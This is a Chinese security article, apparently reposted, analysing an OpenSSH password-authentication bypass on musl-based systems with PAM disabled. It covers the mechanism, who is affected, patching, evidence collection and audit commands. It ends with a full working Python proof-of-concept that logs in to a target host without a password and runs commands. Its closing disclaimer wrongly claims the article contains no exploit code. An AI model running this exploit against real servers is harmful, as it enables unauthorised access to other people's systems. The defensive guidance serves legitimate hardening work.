一个密码符号引发的SSH绕过:CVE-2026-123158(*sshole)深度解读"

admin 2026-11-09 01:12:16 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

一个密码符号引发的 SSH 绕过:CVE-2026-123158(\*sshole)深度解读

网络安全启蒙

2026年11月6日 17:55
陕西

去阅读

一个密码符号引发的 SSH 绕过:CVE-2026-123158(\*sshole)深度解读

本文为技术复现与解读,素材来自 OpenSSH 官方公告、NVD、Alpine 安全公告及多家安全厂商分析。
原始研究归属:Özgün Kültekin(Wakefield),研究主页 sshhole.com。
转发请保留出处与 CVE 编号,便于读者交叉核验。


一、先说结论

2026 年 11 月 5 日,OpenSSH 官方发布 10.6p2,修复了一个名为 \*sshole 的密码认证绕过漏洞,编号 CVE-2026-123158。

它有多严重?两个口径要一起看:

  • • MITRE 给出的 CVSS 3.1 评分为 8.1(High),向量 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H;
  • • OpenSSH 官方自己的定性是「critical security workaround」(关键安全补丁)。

注意中间那个 AC:H(攻击复杂度高)——这不是一个\"一键打全场\"的漏洞,它有相当严格的前提条件。这也是本文想重点讲清楚的地方:它在特定系统上是真危险,但远不是\"所有 Linux 服务器已经沦陷\"。

截至目前,该漏洞不在 CISA KEV 清单中,也无公开在野利用报告。补丁发布不足两周,正是该修的时候。


二、它到底是怎么被绕过的

故事的主角不是 OpenSSH 本身,而是一个你可能没注意过的底层组件:musl libc 的 crypt() 函数。

/etc/shadow 里,那些\"没有密码、只能密钥登录、或者被锁定\"的账户,第二栏通常就一个星号 *。它是个占位符,意思是\"这个账户不该用密码登进来\"。

正常情况下没问题。但 musl 在处理 SHA-256/SHA-512($5$/$6$) 类型的口令、且口令长度 超过 256 字节 时,crypt() 会返回一个错误值——而这个错误值,恰好也是 *。

于是出现了一个致命的巧合:

    1. 攻击者先用一个随便错的口令发起一次登录尝试。这一步的副作用,是让 sshd 内部借到了一个真实账户的盐值、并改动了一处静态缓冲区;
    1. 紧接着,在同一个 TCP 连接里,发一个 数百字节的超长口令(长度上限来自 sshd 自身的 MAX_PASSWORD_LEN,即 1024 字节);
    1. musl 的 crypt() 对这个超长口令返回 *,sshd 拿它去和 /etc/shadow 里那个 * 比对——两个星号相等,认证被误判通过。

整个过程不需要知道任何真实密码,也不需要爆破,因为它绕过的本来就是\"压根没设密码\"的账户状态。

技术史上有个呼应:2016 年的 CVE-2016-6210 计时侧信道修复,引入了 pick_salt() 这条路径,正是本次漏洞借力的机制来源。一个当年的防御改动,在 musl 的特定行为下,反过来成了绕过入口。


三、谁中招,谁安全

这是最关键的一节,请对着看。

同时满足以下所有条件,才在影响范围内:

    1. sshd 链接的是 musl libc(典型系统:Alpine Linux、OpenWrt、Buildroot、Yocto 构建的嵌入式系统);
  1. 2. 未启用 PAM(Alpine 默认的 openssh-server 即不带 PAM);
  2. 3. PasswordAuthentication 为 yes(OpenSSH 默认就是开着的);
    1. 系统里存在 /etc/shadow 第二栏为 * 的账户,且本机另有至少一个账户持有 $5$/$6$ 类型的真实哈希(用于\"借盐\")。

以下情况不受影响,可以松一口气:

  • • 使用 glibc 的系统——也就是 Debian、Ubuntu、RHEL、CentOS、Arch 等绝大多数桌面和服务器发行版。glibc 的 crypt() 在超长口令时返回的是 x0/x1 而非 *,这条路从根上走不通;
  • • 启用了 PAM 的 sshd;
  • • 被 ! 锁定的账户(sshd 会直接判定为锁定,不进入比对);
  • • 持有真实密码哈希的账户(这是绕过\"无密码状态\",不是破解密码);
  • • 根本没跑 sshd 的设备。

一个常见误解需要澄清:很多文章写\"可直取 root\",这个说法默认不成立。Alpine 默认 PermitRootLogin prohibit-password,root 直接密码登录是被挡掉的。真正危险的组合,是官方 tiny-cloud 镜像(3.18.11–3.24.3) 上的 alpine 用户——它配合免密 doas 可以进一步提升到 root。而 root 直登,需要管理员显式开启 PermitRootLogin yes。所以更准确的表述是:默认危害是任意 * 账户可被无密码登录;在特定镜像上可进一步提权至 root。


四、修复与缓解

首选方案:升级并重启。

OpenSSH 升级到 10.6p2 或更高版本。如果你用的是 Alpine,执行:

apk upgrade -U -a

但有一个最容易被忽略的坑:包升级不会自动替换正在运行的 sshd 进程。 你升级完不重启,旧进程还在内存里跑着,照样中招。必须手动重启:

rc-service sshd restart

(其他发行版对应各自的 ssh 服务管理命令。)

临时止血(来不及立即升级时):

把 PasswordAuthentication 改为 no,然后重启 sshd。那些只用密钥登录的账户本就不依赖密码,影响很小,但能立刻堵死这条绕过路径。

先取证,后打补丁。

如果你怀疑某台机器已经被利用过,不要急着升级——升级会覆盖掉入侵痕迹。先保留以下证据再处置:

  • • /var/log/messages 里 Accepted password for 后面跟着异常账户(比如 alpine、root、或本该只能密钥登录的账户);
  • • 可疑的 doas/sudo 使用记录;
  • • 新增的用户、文件、~/.ssh/authorized_keys 改动。

停维(EOL)分支也别放弃。 Alpine 已经为 3.16 起的 EOL 分支也发布了补丁,不要用\"系统已经停维\"当理由不修。


五、读者自查清单

三行命令,一分钟判断你的 musl 主机是否在范围内。

1. 是不是 musl 构建的 sshd?

ldd \"$(command -v sshd || echo /usr/sbin/sshd)\" | grep -i musl

有输出 = 是 musl;无输出 = glibc,基本可排除。

2. 密码认证和 PAM 怎么配的?

sshd -T | grep -iE 'passwordauthentication|usepam'

若 passwordauthentication yes 且 usepam no,命中两个前提。

3. 有没有 * 账户?

awk -F: '$2==\"*\" {print $1}' /etc/shadow

列出的账户就是\"无密码状态\"账户,正是漏洞作用的对象。

三条都命中,请尽快按第四节升级并重启;若暂时不能升级,先关掉密码认证。


六、写在最后

\sshole 是一个教科书级别的\"底层假设被推翻\"案例:一个密码占位符 *,在另一个库的错误处理里刚好也是 *,二者叠加就让认证形同虚设。它再次提醒我们——安全漏洞常常不在你盯着的那一层*。

对绝大多数跑着 Ubuntu/CentOS 的云服务器(glibc)来说,这次可以放心;真正要紧张的是那些 Alpine 容器、OpenWrt 路由器、嵌入式设备——它们轻量、暴露面大、又常被遗忘在补丁周期之外。

补丁就在那里,重启一下就好。别让\"忘了重启\"成为那道没关上的门。


POC  可进行自检
使用方式

python  ***.py  ip  port  username
#!/usr/bin/env python3
\"\"\"sshhole PoC — OpenSSH < 10.6p2 password authentication bypass on musl libc
with PAM disabled (Alpine / OpenWrt / Buildroot / Yocto / musl images).

usage:  poc_sshhole.py <host> <port> <user> [password length]
        poc_sshhole.py 10.0.0.5 22 root            # default 300 bytes
        poc_sshhole.py 10.0.0.5 22 deploy 512

How it works (two password attempts, ONE connection):
 1. any wrong password -> sshd runs pick_salt() and caches a real \"$6$..\"
    hash prefix borrowed from another account; side effect: it also
    clobbers sshd's static shadow buffer for this attempt.
 2. a 257..1024 byte password -> musl crypt() rejects keys > 256 bytes and
    returns \"*\", which compares equal to the \"*\" in /etc/shadow.

Server preconditions (checked by this script where possible):
 * sshd on musl, PAM disabled, PasswordAuthentication yes
 * target account exists and /etc/shadow holds exactly \"*\" for it
 * at least one other account with a real \"$...\" hash exists (borrowed salt)
 * MaxAuthTries >= 2 (default), root also needs PermitRootLogin yes

Note: an account locked with \"!\" is NOT affected (sshd rejects it as locked),
and neither is an account with a real password hash — this is a bypass of the
\"no password at all\" state, not a password cracker.
\"\"\"
import sys
import paramiko

argv = sys.argv[1:]
if len(argv) < 3:
    print(__doc__)
    sys.exit(2)

HOST = argv[0]
PORT = int(argv[1])
USER = argv[2]
length = int(argv[3]) if len(argv) > 3 else 300

def connect():
    t = paramiko.Transport((HOST, PORT))
    t.start_client(timeout=10)
    t.banner_timeout = 15
    return t

def attempt(t, password):
    try:
        t.auth_password(USER, password)
        return True
    except paramiko.AuthenticationException:
        return False
    except Exception as e:                       # noqa: BLE001
        print(f\"[!] transport error: {type(e).__name__}: {e}\")
        return False

def run(t, cmd):
    ch = t.open_session()
    ch.exec_command(cmd)
    return ch.makefile(\"rb\").read().decode(errors=\"replace\").strip()

def main():
    t = connect()
    print(f\"[*] {HOST}:{PORT}  server={t.remote_version}  user={USER}  pwlen={length}\")

    # attempt 1: ordinary wrong password (primes pick_salt inside this sshd child)
    print(\"[*] attempt 1: wrong password -> \", end=\"\", flush=True)
    if attempt(t, \"sshhole-wrong-password\"):
        print(\"ACCEPTED (unexpected, wrong password worked?)\")
        return 1
    print(\"denied\")

    # attempt 2: the bypass
    print(f\"[*] attempt 2: {length} x 'A' -> \", end=\"\", flush=True)
    if not attempt(t, \"A\" * length):
        print(\"denied -> not vulnerable (or precondition not met)\")
        t.close()
        return 1
    print(\"ACCEPTED\")
    print(\"[+] authenticated, command output:\")
    for cmd in (\"id\", \"uname -sr\"):
        try:
            print(\"    \" + cmd + \": \" + run(t, cmd).replace(\"\
\", \" | \"))
        except Exception as e:                   # noqa: BLE001
            print(f\"    {cmd}: (failed: {e})\")
    t.close()
    return 0

sys.exit(main())

参考与延伸

  • • OpenSSH 10.6p2 发布公告(Damien Miller,openssh-unix-dev 邮件列表)
  • • NVD:CVE-2026-123158
  • • CISA KEV 查询(截至发稿未收录)
  • • Alpine Linux 官方安全公告
  • • 原始研究:sshhole.com(Özgün Kültekin, Wakefield)

声明:本文仅作技术原理与防御科普,不含任何可复现的利用代码。请仅在自身拥有合法授权的设备上开展自查与加固。

    安全资讯汇总:2026.11.2-2026.11.6" 网络安全文章

    安全资讯汇总:2026.11.2-2026.11.6"

    本周网络安全资讯涵盖国际标准发布、大型银行系统遭黑、AI对工业系统安全挑战、Accenture员工AI凭证泄露事件、金融抗量子迁移监管时间表、AI安全治理报告发布、网易智企AI原生安全产品体系发布等,涉及标准规范、安全热点、行业发展、深度好文、融资信息等多个方面。
    评论:0   参与:  0